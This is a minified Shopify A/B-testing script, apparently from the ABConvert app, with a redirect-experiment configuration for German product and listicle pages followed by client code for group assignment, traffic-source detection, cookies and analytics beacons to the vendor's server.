896var abconvertUrlRedirectTestDictV1 = {"experiments":[{"experimentId":"69847eac491477222b63ee15","testGroups":[{"name":"Variant A1","percentage":100,"testProducts":[],"url":"/pages/7-grunde-frauen-sw3-0-de","paymentCustomization":[],"deliveryCustomization":[],"checkoutUICustomization":[],"shippingCost":2,"profitMargin":30,"_id":"69847eac491477222b63ee16","redirectRules":[]},{"name":"Variant A2","percentage":0,"testProducts":[],"url":"/pages/7-grunde-frauen-sw3-0-de","paymentCustomization":[],"deliveryCustomization":[],"checkoutUICustomization":[],"shippingCost":2,"profitMargin":30,"_id":"69847eac491477222b63ee17","redirectRules":[]}],"triggerConditions":[[{"conditionType":"page_url","condition":"match_exactly","value":"/pages/7-grunde-frauen-sw3-0-de","_id":"69847eac491477222b63ee18"}]],"perserveQueryString":true,"redirectType":"trigger_always","urlDict":{"/pages/7-grunde-frauen-sw3-0-de":true},"startTime":"2026-02-05T11:27:40.340Z","redirectControlGroup":true},{"experimentId":"6984c62fab8cb32a3117fe38","testGroups":[{"name":"Variant A1","percentage":100,"testProducts":[],"url":"/products/tracker-karte","redirectRules":[],"paymentCustomization":[],"deliveryCustomization":[],"checkoutUICustomization":[],"shippingCost":2,"profitMargin":30,"_id":"6984c62fab8cb32a3117fe39"},{"name":"Variant A2","percentage":0,"testProducts":[],"url":"/products/tracker-karte","redirectRules":[],"paymentCustomization":[],"deliveryCustomization":[],"checkoutUICustomization":[],"shippingCost":2,"profitMargin":30,"_id":"6984c62fab8cb32a3117fe3a"}],"triggerConditions":[[{"conditionType":"page_url","condition":"match_exactly","value":"/products/tracker-karte","_id":"6984c62fab8cb32a3117fe3b"}]],"perserveQueryString":true,"redirectType":"trigger_always","urlDict":{"/products/tracker-karte":true},"startTime":"2026-02-05T16:32:47.733Z","redirectControlGroup":true},{"experimentId":"6984caea2dafab60316ddb5b","testGroups":[{"name":"Variant A1","percentage":100,"testProducts":[],"url":"/products/essential-belt","redirectRules":[],"paymentCustomization":[],"deliveryCustomization":[],"checkoutUICustomization":[],"shippingCost":2,"profitMargin":30,"_id":"6984caea2dafab60316ddb5c"},{"name":"Variant A2","percentage":0,"testProducts":[],"url":"/products/essential-belt","redirectRules":[],"paymentCustomization":[],"deliveryCustomization":[],"checkoutUICustomization":[],"shippingCost":2,"profitMargin":30,"_id":"6984caea2dafab60316ddb5d"}],"triggerConditions":[[{"conditionType":"page_url","condition":"match_exactly","value":"/products/essential-belt","_id":"6984caea2dafab60316ddb5e"},{"conditionType":"page_url","condition":"not_contains","value":"utm_source=Klaviyo","logic":"and","_id":"698d8bc92f58fe4a37f7e868"}]],"perserveQueryString":true,"redirectType":"trigger_always","urlDict":{"/products/essential-belt":true},"startTime":"2026-02-05T16:52:58.675Z","redirectControlGroup":true},{"experimentId":"6984cb84fd51cdaecbe2b665","testGroups":[{"name":"Variant A1","percentage":100,"testProducts":[],"url":"/products/essential-sling-bag","paymentCustomization":[],"deliveryCustomization":[],"checkoutUICustomization":[],"shippingCost":2,"profitMargin":30,"_id":"6984cb84fd51cdaecbe2b666","redirectRules":[]},{"name":"Variant A2","percentage":0,"testProducts":[],"url":"/products/essential-sling-bag","paymentCustomization":[],"deliveryCustomization":[],"checkoutUICustomization":[],"shippingCost":2,"profitMargin":30,"_id":"6984cb84fd51cdaecbe2b667","redirectRules":[]}],"triggerConditions":[[{"conditionType":"page_url","condition":"match_exactly","value":"/products/essential-sling-bag","_id":"6984cb84fd51cdaecbe2b668"}]],"perserveQueryString":true,"redirectType":"trigger_always","urlDict":{"/products/essential-sling-bag":true},"startTime":"2026-02-05T16:55:32.810Z","redirectControlGroup":true},{"experimentId":"6984cd8cd55c8dffd8ea0ed7","testGroups":[{"name":"Variant A1","percentage":100,"testProducts":[],"url":"/products/smart-wallet-3-0","paymentCustomization":[],"deliveryCustomization":[],"checkoutUICustomization":[],"shippingCost":2,"profitMargin":30,"_id":"6984cd8cd55c8dffd8ea0ed8","redirectRules":[]},{"name":"Variant A2","percentage":0,"testProducts":[],"url":"/products/smart-wallet-3-0","paymentCustomization":[],"deliveryCustomization":[],"checkoutUICustomization":[],"shippingCost":2,"profitMargin":30,"_id":"6984cd8cd55c8dffd8ea0ed9","redirectRules":[]}],"triggerConditions":[[{"conditionType":"page_url","condition":"contains","value":"/products/smart-wallet-3-0","_id":"6984cd8cd55c8dffd8ea0eda"},{"conditionType":"query_string","condition":"not_contains","value":"variant=safety","logic":"and","_id":"6984cd8cd55c8dffd8ea0edb"}]],"perserveQueryString":true,"redirectType":"trigger_always","urlDict":{"/products/smart-wallet-3-0":true},"startTime":"2026-02-05T17:04:12.781Z","redirectControlGroup":true},{"experimentId":"6aa02203a24e38c900c70d43","testGroups":[{"name":"Control group","percentage":80,"testProducts":[],"url":"/pages/10-grunde
896-fur-das-smart-wallet-3-0-angebot","redirectRules":[],"paymentCustomization":[],"deliveryCustomization":[],"checkoutUICustomization":[],"shippingCost":2,"profitMargin":30,"_id":"6aa02203a24e38c900c70d44"},{"name":"Variant A","percentage":20,"testProducts":[],"url":"/pages/sw3-0-de-listicle-main-7-grunde-a-b-test-b-variante","redirectRules":[],"paymentCustomization":[],"deliveryCustomization":[],"checkoutUICustomization":[],"shippingCost":2,"profitMargin":30,"_id":"6aa02203a24e38c900c70d45"}],"triggerConditions":[[{"conditionType":"page_url","condition":"match_exactly","value":"/pages/10-grunde-fur-das-smart-wallet-3-0-angebot","_id":"6aa02203a24e38c900c70d46"}]],"perserveQueryString":true,"redirectType":"trigger_always","urlDict":{"/pages/10-grunde-fur-das-smart-wallet-3-0-angebot":true,"/pages/sw3-0-de-listicle-main-7-grunde-a-b-test-b-variante":true},"startTime":"2026-09-08T14:56:03.538Z","redirectControlGroup":true},{"experimentId":"6aa025746755ae2f060abbed","testGroups":[{"name":"Control group","percentage":90,"url":"/pages/7-grunde-trackerkarte","paymentCustomization":[],"deliveryCustomization":[],"checkoutUICustomization":[],"shippingCost":2,"profitMargin":30,"_id":"6aa025746755ae2f060abbee","testProducts":[],"redirectRules":[]},{"name":"Variant A","percentage":10,"url":"/pages/tk-de-listicle-main-7-grunde-a-b-test-version-neu","paymentCustomization":[],"deliveryCustomization":[],"checkoutUICustomization":[],"shippingCost":2,"profitMargin":30,"_id":"6aa025746755ae2f060abbef","testProducts":[],"redirectRules":[]}],"triggerConditions":[[{"conditionType":"page_url","condition":"match_exactly","value":"/pages/7-grunde-trackerkarte","_id":"6aa025746755ae2f060abbf0"}]],"perserveQueryString":true,"redirectType":"trigger_always","urlDict":{"/pages/7-grunde-trackerkarte":true,"/pages/tk-de-listicle-main-7-grunde-a-b-test-version-neu":true},"startTime":"2026-09-08T15:10:44.583Z","redirectControlGroup":true},{"version":"v5","experimentId":"6ac30e76dacf43ea1acd9f1a","numericId":52991,"name":"TK | DE | Listicle (Diebstahl vs. Main) | A/B Test","status":"Active","testGroups":[{"name":"Control group (6 Gründe Diebstahl)","percentage":50,"isControl":true,"variation":{"rules":[{"triggerUrl":"/pages/6-gruende-tracker-karte-diebstahl","matchType":"match_exactly","destinationUrl":"","_id":"6ac310663427bd3c34cc03b0"}]}},{"name":"Variant A (7 Gründe Main)","percentage":50,"isControl":false,"variation":{"rules":[{"triggerUrl":"/pages/6-gruende-tracker-karte-diebstahl","matchType":"match_exactly","destinationUrl":"/pages/7-grunde-trackerkarte","_id":"6ac310663427bd3c34cc03b2"}]}}],"perserveQueryString":true,"redirectType":"trigger_always","urlDict":{"/pages/6-gruende-tracker-karte-diebstahl":true,"/pages/7-grunde-trackerkarte":true},"startTime":"2026-10-05T02:50:14.323Z","trafficAllocationPercent":100,"audienceTargeting":{"enabled":false,"groups":[]},"forceAssignRules":[],"redirectControlGroup":true}],"shopPreviewKey":""};
897 window.abconvertUrlRedirectTestDictV1 = abconvertUrlRedirectTestDictV1;
898(()=>{"use strict";
898const e="match_exactly",t="match_regex_exactly",n="contains",r="ends_with",o="starts_with",i="not_match_exactly",s="not_match_regex_exactly",a="not_contains",c="not_ends_with",u="not_starts_with",l="page_url",d="page_url_with_query_string",f="query_string",p="trigger_once",m=[/Googlebot/,/Googlebot-Image/,/Googlebot-Video/,/Googlebot-News/,/Storebot-Google/,/Google-InspectionTool/,/GoogleOther/,/Google-Extended/,/APIs-Google/,/AdsBot-Google-Mobile/,/AdsBot-Google/,/Mediapartners-Google/,/Google-Safety/,/FeedFetcher-Google/,/GoogleProducer/,/Bingbot/,/Slurp/,/DuckDuckBot/,/Baiduspider/,/YandexBot/,/facebot/,/Twitterbot/,/crawler/,/meta-externalads/,/facebookexternalhit/],g="https://app.abconvert.io";async function h(){localStorage.getItem("abconvert-country")||await async function(){const e=await fetch(`${g}/api/public/get-country-code`,{method:"GET",mode:"cors"}),t=(await e.json()).countryCode;t&&(console.log("successfully set country code: ",t),localStorage.setItem("abconvert-country",t))}()}function w(){return localStorage.getItem("abconvert-country")}const y="abconvert-session",v=18e5,b="_abconvert-assignment",x="abconvert-session",_="abconvert-visitor",I="abconvertCountry",S="abconvertSearchParams",k="abconvert-experiment-ids",T="abconvert-url-redirect",A="__abconvertResolvedGroups",N="url-redirect",$="theme",C="template";function O(e){for(var t=e+"=",n=document.cookie.split(";"),r=0;r<n.length;r++){for(var o=n[r];" "==o.charAt(0);)o=o.substring(1,o.length);if(0==o.indexOf(t))return o.substring(t.length,o.length)}return null}function E(e,t,n){var r,o=new Date;o.setTime(o.getTime()+n),r="; expires="+o.toUTCString(),document.cookie=e+"="+(t||"")+r+"; path=/"}function R(e,t,n,r){const o={[N]:"abconvert-url-redirect-experiments",[$]:"abconvert-theme-experiments",[C]:"abconvert-template-experiments"}[e];if(!o)return void console.error("[ABConvert] Invalid experiment type:",e);let i=[];try{const e=O(o);e&&(i=JSON.parse(e))}catch(e){console.warn("[ABConvert] Failed to parse existing cookie:",o,e)}const s={experimentId:t,groupIndex:n,startTime:r},a=i.findIndex((e=>e.experimentId===t));a>=0?i[a]=s:i.push(s),E(o,JSON.stringify(i),2592e6)}function P(){let e=O("abconvert-landing-page");return e||(e=window.location.pathname,E("abconvert-landing-page",e,v)),e}function U(){let e=O(y);e||(e="xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g,(function(e){const t=16*Math.random()|0;return("x"===e?t:3&t|8).toString(16)})));const t=function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:Date.now();const t=e+v,n=new Date(e),r=Date.UTC(n.getUTCFullYear(),n.getUTCMonth(),n.getUTCDate()+1,0,0,0,0);return Math.min(t,r)}()-Date.now();return E(y,e,t),e}function L(e){const t=(new Date).valueOf(),n=localStorage.getItem("abconvert-first-visit-time")?Number(localStorage.getItem("abconvert-first-visit-time")):t;return localStorage.getItem("abconvert-first-visit-time")||localStorage.setItem("abconvert-first-visit-time",t.toString()),n>(e=new Date(e).valueOf())?"new":"returning"}let D,J,j=0,M=0,B=!1;const G=()=>{B?(B=!1,J=(new Date).getTime(),M+=(J-D)/1e3):(B=!0,D=(new Date).getTime())};function F(e,t,n,r,o){const i=(new Date).getTime(),s=window.location.pathname.toString(),a=P();O(`abconvert-${t}-test-stay-time-recorded-${n}`)||(E(`abconvert-${t}-test-stay-time-recorded-${n}`,!0,18e5),setInterval((()=>{(new Date).getTime()-i>39e3&&G()}),39e3),window.addEventListener("beforeunload",(async()=>{const t=U(),c=(new Date).getTime(),u=(c-i)/1e3,l=(c-i)/1e3-j/1e3-M;fetch(e,{method:"POST",body:JSON.stringify({stayingTime:u,stayingTimeAdjusted:l,sessionId:t,experimentId:n,groupIndex:r,visitorType:L(o),pathName:s,landingPage:a}),keepalive:!0})})))}function q(e,t,n,r){const o=window.location.pathname.toString(),i=P();window.addEventListener("click",(s=>{if("A"===s.target.tagName){const a=s.target.getAttribute("href"),c=U();fetch(e,{method:"POST",body:JSON.stringify({sessionId:c,experimentId:t,groupIndex:n,link:a,visitorType:L(r),pathName:o,landingPage:i}),keepalive:!0})}}))}function V(e,t,n,r){const o=window.location.pathname.toString(),i=P();let s=!1;window.addEventListener("scroll",(()=>{s=!0})),window.addEventListener("click",(()=>{s=!0})),window.addEventListener("beforeunload",(async()=>
898{if(!s){const s=U();fetch(e,{method:"POST",body:JSON.stringify({sessionId:s,experimentId:t,groupIndex:n,visitorType:L(r),pathName:o,landingPage:i}),keepalive:!0})}}))}async function W(e,t,n,r){const o=U(),i=window.location.pathname.toString(),s=P();fetch(e,{method:"POST",body:JSON.stringify({sessionId:o,experimentId:t,groupIndex:n,visitorType:L(r),pathName:i,landingPage:s}),keepalive:!0})}window.addEventListener("scroll",(()=>{j+=1.8,G()}));const z="response",Q="external-response",H="beacon-fallback",K=/Failed to fetch|Load failed|NetworkError|Network request failed|Fetch is aborted|The network connection was lost|The user aborted a request|A server with the specified hostname could not be found/i;let Z=0;const Y=new Set;function X(e,t){const n=String(e??"");return n.length>t?`${n.slice(0,t)}…`:n}function ee(e){let t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};const n=e instanceof Error?e:new Error(String(e)),r=t.data?t.data.status:void 0,o=function(e,t,n){return 429===n?"network":t===z||t===Q?"integration":(r=e?.name,o=e?.message,"AbortError"===r||"TypeError"===r&&K.test(String(o||""))?"network":"bug");var r,o}(n,t.step,r);if("network"===o)return;const i=t.script||"unknown",s=t.step||"unknown",a=`${i}|${s}|${n.message}`;if(Z>=10||Y.has(a))return;Y.add(a),Z+=1;const c=window.Shopify?.shop||"unknown",u={name:n.name,message:X(n.message,500),stack:X(n.stack,4e3),script:i,step:s,category:o,status:"number"==typeof r?r:void 0,shop:c,release:"v2.14.158",url:window.location?.href,data:t.data||{}};let l;try{l=JSON.stringify(u)}catch{l=JSON.stringify({...u,data:{serialization:"failed"}})}!function(e,t){try{if(navigator.sendBeacon?.(e,t))return}catch{}try{fetch(e,{method:"POST",headers:{"Content-Type":"text/plain"},body:t,keepalive:!0})?.catch?.((()=>{}))}catch{}}(`https://app.abconvert.io/api/public/script-error?shop=${encodeURIComponent(c)}`,l)}function te(e,t,n,r){e&&(console.warn(`[ABConvert] ${e.script} beacon failed (${n}):`,t instanceof Error?t.message:t),ee(t,{script:e.script,step:n,data:{...e.data,status:r}}))}function ne(e,t,n){return function(e,t,n){try{return"undefined"!=typeof navigator&&"function"==typeof navigator.sendBeacon&&navigator.sendBeacon(e,t)}catch(e){return te(n,e,"beacon"),!1}}(e,t,n)||function(e,t,n){try{const r=fetch(e,{method:"POST",headers:{"Content-Type":"text/plain"},body:t,keepalive:!0});return r?.then?.((e=>{e?.ok||te(n,new Error(`[ABConvert] beacon fallback HTTP ${e?.status}`),z,e?.status)}),(e=>{te(n,e,H),n?.onRejected?.()})),!0}catch(e){return te(n,e,H),!1}}(e,t,n)}const re=[["Edge",/Edg(?:e|A|iOS)?\/(\d+[\d.]*)/],["Opera",/(?:OPR|Opera)\/(\d+[\d.]*)/],["Samsung Internet",/SamsungBrowser\/(\d+[\d.]*)/],["Chrome",/(?:Chrome|CriOS)\/(\d+[\d.]*)/],["Firefox",/(?:Firefox|FxiOS)\/(\d+[\d.]*)/],["Safari",/Version\/(\d+[\d.]*).*Safari/]],oe=[["iOS",/(?:iPhone|iPad|iPod).*OS (\d+[_\d]*)/],["Android",/Android (\d+[\d.]*)/],["Windows",/Windows NT (\d+[\d.]*)/],["macOS",/Mac OS X (\d+[_\d.]*)/],["ChromeOS",/CrOS \w+ ([\d.]+)/],["Linux",/Linux/]];function ie(e){for(const[t,n]of re){const r=e.match(n);if(r)return{name:t,version:r[1]}}return{name:"",version:""}}function se(e){for(const[t,n]of oe){const r=e.match(n);if(r)return{name:t,version:(r[1]||"").replace(/_/g,".")}}return{name:"",version:""}}const ae="__abconvert_suppressedExperiments",ce="abconvert.session.suppressed_experiments",ue=window;function le(e){try{const t=JSON.stringify([...e].sort());if(sessionStorage.getItem(ce)===t)return;sessionStorage.setItem(ce,t)}catch{}}function de(){let e=ue[ae];return e||(e=new Set,ue[ae]=e),e}function fe(e){const t=ue[ae];return!!t&&t.has(String(e))}const pe=[],me=new Map,ge=new Map;let he=0;function we(e){const{source:t,conditions:n}=e;let r=t;if(t){const e=pe.find((e=>e.id===t.id));e?r=e:(pe.push(t),"dynamic"===t.class&&he++)}for(const e of n??[])me.has(e.type)||(me.set(e.type,e),r&&ge.set(e.type,r))}function ye(e){return me.get(e)}function ve(e){return ge.get(e)}function be(){return pe}function xe(e){return[...e.audienceTargeting?.enabled?e.audienceTargeting.groups?.flatMap((e=>e.filters??[]))??[]:[],...e.forceAssignRules?.flatMap((e=>e.filters??[]))??[]]}function _e(e){const t=new Set;for(const n of xe(e))n.type&&t.add(n.type);return t}function Ie(e){for(const t of _e(e))if("dynamic"===ve(t)?.class)return!0;return!1}function Se(e){for(const t of _e(e)){const e=ve(t);if(e?.available&&!e.available())return e}return null}function ke(e){return null===e||"object"!=typeof e?JSON.stringify(e):Array.isArray(e)?`[${e.map((e=>ke(e)??"null")).join(",")}]`:`{${Object.keys(e).sort().map((t=>{const n=ke(e[t]);return void 0===n?void 0:`${JSON.stringify(t)}:${n}`})).filter((e=>void 0!==e)).join(",")}}`}function Te(e,t={}){const n={...e};for(const e of be())"dynamic"===e.class&&(e.available&&!e.available()||Object.assign(n,e.read(t)));return n}function Ae(e,t){return ye(e.type)?.evaluate(e,t)??!1}function Ne(e,t){if(!e||!e.enabled||!e.groups||0===e.groups.length)return!0;for(const n of e.groups)if(n.filters&&0!==n.filters.length&&!n.filters.some((e=>Ae(e,t))))return!1;return!0}function $e(e,t){if(!e||0===e.length)return null;const n=[...e].sort(((e,t)=>e.priority-t.priority));for(const e of n)if(e.filters.every((e=>Ae(e,t))))return{matched:!0,action:e.action,groupIndex:e.groupIndex};return null}function Ce(e){try{return localStorage.getItem(e)}catch{return null}}function Oe(e,t){try{return localStorage.setItem(e,t),!0}catch{return!1}}function Ee(e){try{return localStorage.removeItem(e),!0}catch{return!1}}function Re(e){try{return sessionStorage.getItem(e)}catch{return null}}function Pe(e,t){try{return sessionStorage.setItem(e,t),!0}catch{return!1}}function Ue(e){try{return sessionStorage.removeItem(e),!0}catch{return!1}}
898const Le="abconvert.visitor",De=`${Le}.first_seen`,Je=`${Le}.customer`,je=`${Le}.country_detected`,Me=`${Le}.klaviyo_segments`,Be="abconvert-country",Ge="abconvert.session",Fe=`${Ge}.device`,qe=`${Ge}.traffic_source.platform`,Ve=`${Ge}.traffic_source.channel`,We=`${Ge}.referral_domain`,ze=`${Ge}.landing_page`,Qe=`${Ge}.utm.source`,He=`${Ge}.utm.medium`,Ke=`${Ge}.utm.campaign`,Ze=`${Ge}.utm.term`,Ye=`${Ge}.utm.content`,Xe=`${Ge}.gclid`,et=`${Ge}.fbclid`,tt=`${Ge}.ttclid`,nt=`${Ge}.force_assign.global`,rt=`${Ge}.force_assign.experiment.`;function ot(e){return e.trim().toLowerCase()}function it(e,t,n){const r=t??"",o=Array.isArray(n)?n:[n];switch(e){case"equals":return r===o[0];case"not_equals":return r!==o[0];case"contains":return r.includes(o[0]);case"not_contains":return!r.includes(o[0]);case"in":return o.includes(r);case"not_in":return!o.includes(r);case"exists":return null!=t&&""!==t;case"not_exists":return null==t||""===t;case"starts_with":return r.startsWith(o[0]);case"regex":try{return new RegExp(o[0]).test(r)}catch{return!1}default:return!1}}function st(){const e=Re(Be);if(e)return e.toUpperCase();const t=Ce(je);return t?t.toUpperCase():""}function at(e,t){console.warn("[ABConvert] country detection failed:",e instanceof Error?e.message:e),401!==t&&("number"==typeof t&&t>=500||ee(e,{script:"group-assignment",step:"number"==typeof t?Q:"fetch",data:{status:t,shopifyDomain:window.Shopify?.shop||""}}))}let ct=null;async function ut(){if(!Ce(je))return ct||(ct=(async()=>{try{const e=await fetch("/browsing_context_suggestions.json");if(!e?.ok)return void at(new Error(`HTTP ${e?.status}`),e?.status);const t=await e.json(),n=t?.detected_values?.country?.handle;"string"==typeof n&&/^[A-Z]{2}$/.test(n)?Oe(je,n):at(new Error(`malformed handle: ${JSON.stringify(n)}`))}catch(e){at(e)}finally{ct=null}})(),ct)}const lt={source:{id:"market",class:"static",read:()=>({market:window.abconvertMarket||void 0}),available:()=>!!window.abconvertMarket},conditions:[{type:"market",evaluate:(e,t)=>{return it(e.operator,null==t.market?t.market:ot(t.market),(n=e.value,Array.isArray(n)?n.map((e=>"string"==typeof e?ot(e):e)):ot(n)));var n}}]},dt={logged_in:{field:"loggedIn",evaluate:function(e,t,n){return"equals"===e&&Boolean(t)===("boolean"==typeof(r=mt(n))?r:"string"==typeof r&&"true"===r.trim().toLowerCase());var r}},tags:{field:"tags",evaluate:function(e,t,n){const r=ht(Array.isArray(t)?t:[]),o=ht(pt(n));switch(e){case"contains":return o.length>0&&r.includes(o[0]);case"not_contains":return!(o.length>0&&r.includes(o[0]));case"in":return o.some((e=>r.includes(e)));case"not_in":return!o.some((e=>r.includes(e)));case"exists":return r.length>0;case"not_exists":return 0===r.length;default:return!1}}},orders_count:{field:"ordersCount",evaluate:wt},total_spent:{field:"totalSpent",evaluate:wt}};function ft(e){return e?dt[e]:void 0}function pt(e){return Array.isArray(e)?e:[e]}function mt(e){return pt(e)[0]}function gt(e){if("number"==typeof e)return Number.isFinite(e)?e:NaN;if("string"!=typeof e)return NaN;const t=e.trim();if(""===t)return NaN;const n=Number(t);return Number.isFinite(n)?n:NaN}function ht(e){return e.map((e=>"string"==typeof e?ot(e):"")).filter((e=>""!==e))}function wt(e,t,n){const r=gt(t),o=gt(mt(n));if(Number.isNaN(r)||Number.isNaN(o))return!1;switch(e){case"equals":return r===o;case"greater_than":return r>o;case"less_than":return r<o;case"greater_or_equal":return r>=o;case"less_or_equal":return r<=o;default:return!1}}function yt(e){if(null===e||"object"!=typeof e)return null;const{tags:t,ordersCount:n,totalSpent:r}=e;return Array.isArray(t)&&"number"==typeof n&&"number"==typeof r?{tags:t,ordersCount:n,totalSpent:r}:null}function vt(){const e=window.abconvertCustomer;if(null==e)return;const t={loggedIn:e.loggedIn,tags:e.tags,ordersCount:e.ordersCount,totalSpent:e.totalSpent};if(e.loggedIn){const e=yt(t);return e&&function(e){const t=JSON.stringify(e);Ce(Je)!==t&&Oe(Je,t)}(e),t}const n=function(){const e=Ce(Je);if(!e)return null;try{return yt(JSON.parse(e))}catch{return null}}();return n?{...t,...n}:t}const bt={source:{id:"customer",class:"dynamic",read:()=>({customer:vt()}),available:function(){return null!=window.abconvertCustomer}},conditions:[{type:"customer",evaluate:(e,t)=>
898{const n=t.customer;if(!n)return!1;const r=ft(e.key);return!!r&&r.evaluate(e.operator,n[r.field],e.value)},watchedValue:(e,t)=>{const n=ft(e.key);return n?t.customer?.[n.field]:void 0}}]};function xt(){const e=Re(Fe);if(e)return e;const t=navigator.userAgent,n=/mobile|iphone|android|tablet|ipad/i.test(t)?"mobile":"desktop";return Pe(Fe,n),n}const _t={source:{id:"device",class:"static",read:()=>({device:xt()})},conditions:[{type:"device",evaluate:(e,t)=>it(e.operator,t.device,e.value)}]};function It(e){const t=Date.now(),n=Ce(De),r=n?Number(n):t;return n||Oe(De,t.toString()),r>(null!=e?new Date(e).valueOf():t)?"new":"returning"}const St={source:{id:"visitor_type",class:"static",read:e=>({visitorType:It(e.experimentStartTime)})},conditions:[{type:"visitor_type",evaluate:(e,t)=>it(e.operator,t.visitorType,e.value)}]},kt={source:{id:"traffic",class:"static",read:()=>{const e=function(){const e=Re(qe),t=Re(Ve);if(e&&t)return{platform:e,channel:t};const n=document.referrer.toLowerCase(),r=new URLSearchParams(window.location.search),o=r.get("utm_source")?.toLowerCase(),i=r.get("utm_medium")?.toLowerCase();o&&Pe(Qe,o),i&&Pe(He,i);const s=r.get("utm_campaign");s&&Pe(Ke,s);const a=r.get("utm_term");a&&Pe(Ze,a);const c=r.get("utm_content");c&&Pe(Ye,c);const u=r.get("gclid"),l=r.get("gad_source"),d=r.get("fbclid"),f=r.get("ttclid"),p=r.get("msclkid");u&&Pe(Xe,u),d&&Pe(et,d),f&&Pe(tt,f);const m=navigator.userAgent.toLowerCase(),g=m.includes("instagram")?"instagram":m.includes("fbav")||m.includes("fban")?"facebook":m.includes("musical_ly")||m.includes("tiktok")?"tiktok":null,h=/^(cpc|ppc|paid|retargeting|banner|ads?)$/.test(i||""),w=(...e)=>e.some((e=>n.includes(e)));let y="direct",v="direct";return u||l||"google"===o||w("google.")?(y="google",v=u||l||h?"paid_search":"organic_search"):d||"facebook"===o||"fb"===o||w("facebook.com","fb.com")||"facebook"===g?(y="facebook",v=d||h?"paid_social":"organic_social"):"instagram"===o||"ig"===o||w("instagram.com")||"instagram"===g?(y="instagram",v=h?"paid_social":"organic_social"):f||"tiktok"===o||w("tiktok.com")||"tiktok"===g?(y="tiktok",v=f||h?"paid_social":"organic_social"):"twitter"===o||"x"===o||w("twitter.com","x.com","t.co")?(y="twitter",v=h?"paid_social":"organic_social"):"youtube"===o||"yt"===o||w("youtube.com","youtu.be")?(y="youtube",v=h?"paid_social":"organic_social"):p||"bing"===o||w("bing.com")?(y="bing",v=p||h?"paid_search":"organic_search"):w("yahoo.com","duckduckgo.com","baidu.com","yandex.")?(y="other_search",v="organic_search"):["email","e-mail","e_mail"].includes(o||"")||["email","e-mail","e_mail"].includes(i||"")?(y="email",v="email"):["sms","text"].includes(o||"")||["sms","text"].includes(i||"")?(y="sms",v="sms"):"affiliate"===i?(y="affiliate",v="affiliate"):n&&!n.includes(window.location.hostname)?(y="referral",v="referral"):o&&(y=o,v="referral"),Pe(qe,y),Pe(Ve,v),{platform:y,channel:v}}();return{trafficPlatform:e.platform,trafficChannel:e.channel}}},conditions:[{type:"traffic_source",evaluate:(e,t)=>{const{operator:n,value:r}=e,o=Array.isArray(r)?r:[r],i=t.trafficChannel??"",s=t.trafficPlatform??"";switch(n){case"in":return o.includes(i)||o.includes(s);case"not_in":return!o.includes(i)&&!o.includes(s);case"equals":return i===o[0]||s===o[0];case"not_equals":return i!==o[0]&&s!==o[0];default:return!1}}}]};function Tt(){const e=Re(We);if(null!==e)return e;let t="";if(document.referrer)try{const e=new URL(document.referrer).hostname,o=window.location.hostname;(n=e)===(r=o)||n.endsWith("."+r)||r.endsWith("."+n)||(t=e)}catch{}var n,r;return Pe(We,t),t}const At={source:{id:"referral_domain",class:"static",read:()=>({referralDomain:Tt()})},conditions:[{type:"referral_domain",evaluate:(e,t)=>it(e.operator,t.referralDomain,e.value)}]};function Nt(){let e=Re(ze);return e||(e=window.location.pathname,Pe(ze,e)),e}const $t={source:{id:"landing_page",class:"static",read:()=>({landingPage:Nt()})},conditions:[{type:"landing_page",evaluate:(e,t)=>it(e.operator,t.landingPage,e.value)}]};function Ct(){const e={};new URLSearchParams(window.location.search).forEach(((t,n)=>{e[n]=t}));const t={[Qe]:"utm_source",[He]:"utm_medium",[Ke]:"utm_campaign",[Ze]:"utm_term",[Ye]:"utm_c
898ontent",[Xe]:"gclid",[et]:"fbclid",[tt]:"ttclid"};for(const n of Object.keys(t)){const r=Re(n),o=t[n];r&&!e[o]&&(e[o]=r)}return e}const Ot={source:{id:"query_param",class:"static",read:()=>({queryParams:Ct()})},conditions:[{type:"query_param",evaluate:(e,t)=>it(e.operator,e.key?t.queryParams[e.key]:null,e.value)}]};function Et(){const e={};return document.cookie.split(";").forEach((t=>{const[n,r]=t.trim().split("=");n&&(e[n]=r||"")})),e}const Rt={source:{id:"cookie",class:"static",read:()=>({cookies:Et()})},conditions:[{type:"cookie",evaluate:(e,t)=>it(e.operator,e.key?t.cookies[e.key]:null,e.value)}]},Pt={conditions:[{type:"js",evaluate:e=>function(e){if("string"!=typeof e||!e.trim())return!1;if(e.length>500)return console.warn("[ABConvert] JS expression too long, max length:",500),!1;try{const t=new Function(function(e){return`'use strict';\ntry {\n    return !!(${e});\n} catch (e) {\n    return false;\n}`}(e));return t()}catch(e){return console.warn("[ABConvert] JS expression evaluation failed:",e?.message||e),!1}}(Array.isArray(e.value)?e.value[0]:e.value)}]},Ut="klaviyo_segment";let Lt=[],Dt=null;function Jt(){const e=function(){for(const e of document.cookie.split(";")){const[t,...n]=e.trim().split("=");if("__kla_id"===t)return n.join("=")}return null}();if(e){const t=function(e){let t=e;try{t=decodeURIComponent(e)}catch{}try{const e=JSON.parse(atob(t)),n=e?.$exchange_id??e?.exchange_id;return"string"==typeof n&&n.length>0?n:null}catch{return null}}(e);if(t)return t}try{const e=new URLSearchParams(window.location.search).get("_kx");return e&&e.length>0?e:null}catch{return null}}function jt(e){let t=2166136261;for(let n=0;n<e.length;n++)t^=e.charCodeAt(n),t=Math.imul(t,16777619)>>>0;return t.toString(16)}function Mt(e){const t=function(){const e=Ce(Me);if(!e)return null;try{const t=JSON.parse(e);return"string"==typeof t?.kxHash&&"number"==typeof t?.fetchedAt&&t.membership&&"object"==typeof t.membership?t:null}catch{return null}}();return t?t.kxHash!==jt(e)||Date.now()-t.fetchedAt>36e5?null:t:null}function Bt(e){return e?Lt.filter((t=>!(t in e.membership))):Lt.slice()}async function Gt(){const e=Jt();if(!e)return;const t=Mt(e),n=Bt(t);return 0!==n.length?Dt||(Dt=(async()=>{const r=await async function(e,t){const n=window.Shopify?.shop;if(!n)return null;const r="function"==typeof AbortController?new AbortController:null,o=r?setTimeout((()=>r.abort()),1500):null;try{const o=await fetch(`${g}/api/public/klaviyo/segment-membership`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({shop:n,kx:e,segmentIds:t}),signal:r?.signal});if(!o.ok)return null;const i=await o.json();return"ok"===i?.status&&i.membership&&"object"==typeof i.membership?i.membership:null}catch(e){return console.warn("[ABConvert] Klaviyo segment lookup failed:",e instanceof Error?e.message:e),null}finally{null!==o&&clearTimeout(o)}}(e,n);if(!r)return;
